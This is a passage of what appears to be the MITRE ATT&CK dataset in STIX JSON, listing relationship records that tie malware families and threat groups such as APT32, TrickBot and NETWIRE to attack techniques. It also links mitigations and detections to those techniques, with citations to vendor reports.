2022)","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f49cdf8b-a093-4f24-8b22-d0489756cc0d","created":"2021-11-30T20:02:19.608Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) has named malicious binaries `serv.exe`, `winprint.dll`, and `chrome_elf.dll` and has set its persistence in the Registry with the key value Chrome Update to appear legitimate.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T16:07:19.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4a0f496-b47c-4bdf-affb-b57fb17203db","type":"relationship","created":"2019-01-31T01:07:58.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2019-07-17T13:11:38.698Z","description":"[APT32](https://attack.mitre.org/groups/G0050) established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4a65903-0b28-4e52-ad3b-bb7c55772509","type":"relationship","created":"2022-03-07T19:40:03.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T19:40:03.521Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use non-standard ports for C2 not typically associated with HTTP or HTTPS traffic.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4ac7555-2b20-4345-998e-6ffc462cab03","type":"relationship","created":"2020-02-04T12:52:13.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-12T18:32:33.064Z","description":"Restrict file shares to specific directories with access only to necessary users.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f4bc052c-7119-4f7a-86b0-2ee69ad1d33c","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected/abnormal access to files that may be malicious collection of local data, such as user files (pdf, .docx, .jpg, etc.) or local databases.","modified":"2022-04-07T19:25:10.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4c17470-c5c0-4680-ad4a-5efae63b0be6","type":"relationship","created":"2020-01-30T19:57:16.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T19:57:16.539Z","relationship_type":"revoked-by","source_ref":"attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4c346b3-91ec-4edc-a648-a6273c965e02","type":"relationship","created":"2020-09-08T15:09:46.130Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}],"modified":"2020-10-19T18:43:06.259Z","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) can XOR credit card information before exfiltration.(Citation: SentinelOne FrameworkPOS September 2019)","relationship_type":"uses","source_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-30T02:49:13.072Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) saves system information into an XML file that is then XOR-encoded.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4c8b1b6-8204-4cbd-be5b-f3a6080726e7","type":"relationship","created":"2020-02-19T18:46:06.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-19T18:46:06.856Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4d0878b-5e03-439b-84b4-3909a1962016","type":"relationship","created":"2020-03-14T23:36:52.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:36:52.248Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4d15148-3a41-4fbc-a42e-59379724acc5","type":"relationship","created":"2019-02-14T17:45:24.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot’s New Reconnaissance Plugin. Retrieved February 14, 2019.","url":"https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html","source_name":"Fortinet TrickBot"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.784Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can gather information about domain trusts by utilizing [Nltest](https://attack.mitre.org/software/S0359).(Citation: Fortinet TrickBot)(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4d1e337-60ba-4e28-89d1-ff206bae1750","created":"2023-08-28T19:17:52.944Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-28T19:17:52.944Z","description":"Ensure that a finite amount of ingress points to a software deployment system exist with restricted access for those required to allow and enable newly deployed software.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4d825cd-08d4-47ad-975c-37b886192e7c","created":"2019-01-29T21:27:25.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.992Z","description":"[APT38](https://attack.mitre.org/groups/G0082) leveraged Sysmon to understand the processes, services in the organization.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4dc0552-707f-453b-96c9-5e757a408e53","created":"2023-08-01T18:43:02.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T17:41:50.145Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can exfiltrate data over the C2 channel.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4dc8dba-ec23-4d49-a736-c5b1edf5e53e","type":"relationship","created":"2020-03-16T15:38:37.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T15:38:37.810Z","relationship_type":"revoked-by","source_ref":"attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4e1e921-1436-4fdc-88bc-f3321383e96a","type":"relationship","created":"2021-09-22T15:09:20.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T15:09:20.401Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) has the ability to download malicious executables to a compromised host.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.423Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4e83a18-a2bf-45af-aa6b-18f72646d8b6","type":"relationship","created":"2019-06-21T16:52:53.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-20T22:43:41.455Z","description":"Specific developer utilities may not be necessary within a given environment and should be removed if not used.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4ea1985-0e88-488d-b7ed-ac294719738a","created":"2021-01-07T20:53:11.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"},{"source_name":"Proofpoint NETWIRE December 2020","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.590Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can downloaded payloads from C2 to the compromised host.(Citation: FireEye NETWIRE March 2019)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4eabef1-c66d-45b2-a7c7-6c4cefe4862b","type":"relationship","created":"2019-04-23T18:41:37.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2019-04-29T21:19:34.970Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) downloads the EggShell mach-o binary using curl, which does not set the quarantine flag.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4f3a2bc-d359-400e-8b1e-95d71a20c323","type":"relationship","created":"2019-01-31T00:36:40.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2022-01-06T20:40:02.198Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has created a shortcut called \"Anti virus service.lnk\" in an apparent attempt to masquerade as a legitimate file.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2019-10-15T18:00:19.429Z","description":"[Downdelph](https://attack.mitre.org/software/S0134) uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f4f8ff63-55bb-46ca-82ee-606302b2d455","created":"2024-08-14T22:20:33.434Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:20:33.434Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) creates scheduled tasks for persistence based on the operating system version of the victim machine.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f503c254-b86c-433e-8107-585c53f23b6e","type":"relationship","created":"2021-04-19T17:50:00.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"modified":"2021-04-19T17:50:00.126Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used TCP for C2.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f503ea13-d045-4246-9674-a73f7e52ea85","type":"relationship","created":"2019-01-30T15:19:14.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2019-07-26T23:22:28.296Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can collect a list of running processes by calling CreateToolhelp32Snapshot.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f507e65e-735e-40af-bb77-cd9f0b14f8f1","created":"2024-06-06T18:54:44.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:43:46.596Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can issue a command to kill a process on compromised hosts.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f523a64f-7c27-4c23-a35d-c56b4bcce8be","created":"2024-09-23T20:38:19.956Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:38:19.956Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used geoblocking to limit downloads of the malicious file to specific geographic locations.(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f5287ad4-f299-49f3-9a44-d98057fa186c","created":"2023-09-28T13:33:41.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:34:33.354Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can run commands on EC2 instances using AWS Systems 